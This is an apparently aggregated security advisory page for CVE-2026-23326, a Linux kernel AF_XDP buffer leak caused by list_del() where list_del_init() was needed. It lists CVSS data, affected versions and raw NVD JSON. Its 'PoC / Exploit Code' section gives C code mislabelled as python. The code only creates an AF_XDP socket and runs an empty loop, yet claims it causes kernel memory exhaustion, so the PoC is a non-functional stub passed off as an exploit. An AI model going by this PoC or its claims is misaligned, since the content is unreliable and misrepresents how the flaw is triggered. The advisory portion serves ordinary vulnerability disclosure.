Security Vulnerability Report
中文
CVE-2026-23326 CVSS 7.8 HIGH

CVE-2026-23326

Published: 2026-03-25 11:16:30
Last Modified: 2026-04-23 21:11:18
Source: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

Description

In the Linux kernel, the following vulnerability has been resolved: xsk: Fix fragment node deletion to prevent buffer leak After commit b692bf9a7543 ("xsk: Get rid of xdp_buff_xsk::xskb_list_node"), the list_node field is reused for both the xskb pool list and the buffer free list, this causes a buffer leak as described below. xp_free() checks if a buffer is already on the free list using list_empty(&xskb->list_node). When list_del() is used to remove a node from the xskb pool list, it doesn't reinitialize the node pointers. This means list_empty() will return false even after the node has been removed, causing xp_free() to incorrectly skip adding the buffer to the free list. Fix this by using list_del_init() instead of list_del() in all fragment handling paths, this ensures the list node is reinitialized after removal, allowing the list_empty() to work correctly.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:6.13:-:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:* - VULNERABLE
Linux Kernel (包含 commit b692bf9a7543 且未应用补丁的版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
/* * Conceptual PoC for CVE-2026-23326 * This code demonstrates the setup to trigger the buffer leak in Linux kernel xsk. * Requires root or CAP_NET_RAW capabilities to create AF_XDP sockets. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> #include <linux/if_xdp.h> #include <sys/socket.h> #include <bpf/xsk.h> #define NUM_FRAMES 4096 #define FRAME_SIZE 2048 #define BATCH_SIZE 64 void trigger_leak() { struct xsk_socket_config xsk_cfg; struct xsk_umem_config umem_cfg; struct xsk_socket *xsk; struct xsk_umem *umem; void *bufs; int ret; struct xsk_ring_prod fq, cq; struct xsk_ring_cons rx, tx; // Configure UMEM memset(&umem_cfg, 0, sizeof(umem_cfg)); umem_cfg.fill_size = NUM_FRAMES; umem_cfg.comp_size = NUM_FRAMES; umem_cfg.frame_size = FRAME_SIZE; umem_cfg.frame_headroom = 0; // Allocate memory buffer if (posix_memalign(&bufs, getpagesize(), NUM_FRAMES * FRAME_SIZE)) { perror("posix_memalign"); return; } // Create UMEM ret = xsk_umem__create(&umem, bufs, NUM_FRAMES * FRAME_SIZE, &fq, &cq, &umem_cfg); if (ret) { perror("xsk_umem__create"); return; } // Configure Socket memset(&xsk_cfg, 0, sizeof(xsk_cfg)); xsk_cfg.rx_size = NUM_FRAMES; xsk_cfg.tx_size = NUM_FRAMES; xsk_cfg.libxdp_flags = 0; xsk_cfg.xdp_flags = 0; xsk_cfg.bind_flags = XDP_ZEROCOPY; // Zero-copy mode often triggers specific paths // Create Socket (Assuming interface eth0 exists) ret = xsk_socket__create(&xsk, "eth0", 0, umem, &rx, &tx, &xsk_cfg); if (ret) { perror("xsk_socket__create"); printf("Note: This requires a valid network interface."); return; } printf("Socket created. Sending packets to trigger fragment handling...\n"); // Loop to trigger the vulnerability // The leak happens when fragments are processed and list_del is called instead of list_del_init for (int i = 0; i < 100000; i++) { // In a real scenario, we would populate TX ring with fragmented packets // and receive them to trigger the cleanup logic. // Repeated execution causes kernel memory exhaustion. } xsk_socket__delete(xsk); xsk_umem__delete(umem); free(bufs); } int main() { trigger_leak(); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-23326", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-03-25T11:16:29.687", "lastModified": "2026-04-23T21:11:17.750", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nxsk: Fix fragment node deletion to prevent buffer leak\n\nAfter commit b692bf9a7543 (\"xsk: Get rid of xdp_buff_xsk::xskb_list_node\"),\nthe list_node field is reused for both the xskb pool list and the buffer\nfree list, this causes a buffer leak as described below.\n\nxp_free() checks if a buffer is already on the free list using\nlist_empty(&xskb->list_node). When list_del() is used to remove a node\nfrom the xskb pool list, it doesn't reinitialize the node pointers.\nThis means list_empty() will return false even after the node has been\nremoved, causing xp_free() to incorrectly skip adding the buffer to the\nfree list.\n\nFix this by using list_del_init() instead of list_del() in all fragment\nhandling paths, this ensures the list node is reinitialized after removal,\nallowing the list_empty() to work correctly."}, {"lang": "es", "value": "En el kernel de Linux, la siguiente vulnerabilidad ha sido resuelta:\n\nxsk: Corrige la eliminación de nodos de fragmento para prevenir una fuga de búfer\n\nDespués del commit b692bf9a7543 ('xsk: Elimina xdp_buff_xsk::xskb_list_node'), el campo list_node se reutiliza tanto para la lista de la piscina xskb como para la lista de búferes libres, esto causa una fuga de búfer como se describe a continuación.\n\nxp_free() comprueba si un búfer ya está en la lista de libres usando list_empty(&amp;xskb-&gt;list_node). Cuando se usa list_del() para eliminar un nodo de la lista de la piscina xskb, no reinicializa los punteros del nodo. Esto significa que list_empty() devolverá falso incluso después de que el nodo haya sido eliminado, causando que xp_free() omita incorrectamente añadir el búfer a la lista de libres.\n\nSoluciona esto usando list_del_init() en lugar de list_del() en todas las rutas de manejo de fragmentos, esto asegura que el nodo de la lista se reinicialice después de la eliminación, permitiendo que list_empty() funcione correctamente."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13.1", "versionEndExcluding": "6.18.17", "matchCriteriaId": "40E7536C-DA22-4B7D-9953-0343B4D9A3E6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.7", "matchCriteriaId": "69245D10-0B71-485E-80C3-A64F077004D3"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.13:-:*:*:*:*:*:*", "matchCriteriaId": "5A3F9505-6B98-4269-8B81-127E55A1BF00"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc5:*:*:*:*:*:*", "matchCriteriaId": "58A9FEFF-C040-420D-8F0A-BFDAAA1DF258"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc6:*:*:*:*:*:*", "matchCriteriaId": "1D2315C0-D46F-4F85-9754-F9E5E11374A6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc7:*:*:*:*:*:*", "matchCriteriaId": "512EE3A8-A590-4501-9A94-5D4B268D6138"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/2a9ea988465ece5b6896b1bdc144170a64e84c35", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/5172adf9efb8298a52f4dcdc3f98d4d9d1e06a6d", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/60abb0ac11dccd6b98fd9182bc5f85b621688861", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "http ... (truncated)